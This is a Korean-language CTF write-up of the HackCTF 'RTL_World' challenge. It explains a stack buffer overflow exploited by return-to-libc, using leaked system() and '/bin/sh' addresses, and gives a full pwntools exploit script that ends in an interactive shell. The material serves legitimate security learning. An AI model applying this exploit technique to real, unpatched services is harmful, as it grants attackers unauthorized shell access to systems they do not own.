HACKCTF - RTL_World
2020. 8. 16. 11:17ㆍCTF's Write-up
RTL을 활용해서 푸는 문제로 보이고, 파일하나를 주니 다운받아서 실행했습니다.
장문의 text형식 (case문) 의 문제 구성이군요.
3번과 4번을 보게되면 3번에서 sys함수주소를주고, 4번에서 binsh 주소를 줍니다.
12번줄 --> system주소
14번줄 --> /bin/sh 찾기
이렇게 두개의 함수를 얻으면 바로 exploit이 가능합니다.
취약점이 발생하는 부분은 5번을 누르게되면 입력받는 창이 나오는데
이 부분에서 bof가 일어나게됩니다.
익스플로잇코드는 dummy[0x8c] + sfp[0x4] + system주소 + dummy[0x4] + binsh주소 입니다.
초기에 돈을 많이 벌어둬야지 3,4번이 가능하므로 해당 코드도 추가하면 됩니다.
아래는 exploit코드입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | from pwn import * r = remote("ctf.j0n9hyun.xyz", 3010) e = ELF("./rtl_world") context.log_level = 'debug' #addmoney for i in range(0, 10) : r.recvuntil(">>> ") r.sendline("2") r.recvuntil(">>> ") r.sendline("3") #getsys r.recvuntil(">>> ") r.sendline("3") r.recvuntil(" : ") system = int(r.recv(10), 16) log.info("system_add = " +hex(system)) #getbinsh r.recvuntil(">>> ") r.sendline("4") r.recvuntil(" : ") binsh = int(r.recv(10), 16) log.info("binsh_add = " + hex(binsh)) #setpayload payload = "" payload += "A"*0x8C+"A"*0x4 payload += p32(system) payload += "A"*0x4 payload += p32(binsh) #exploit r.recvuntil(">>> ") r.sendline("5") r.recvuntil(" > ") r.sendline(payload) r.interactive() | cs |
'CTF's Write-up' 카테고리의 다른 글
HACKCTF - Pwning (0) | 2020.08.23 |
---|---|
DreamHack - rev-basic-8 (0) | 2020.08.17 |
HACKCTF - g++ pwn (0) | 2020.08.14 |
HACKCTF - Classic Cipher -2 (0) | 2020.08.13 |
HACKCTF - Look at me (0) | 2020.08.12 |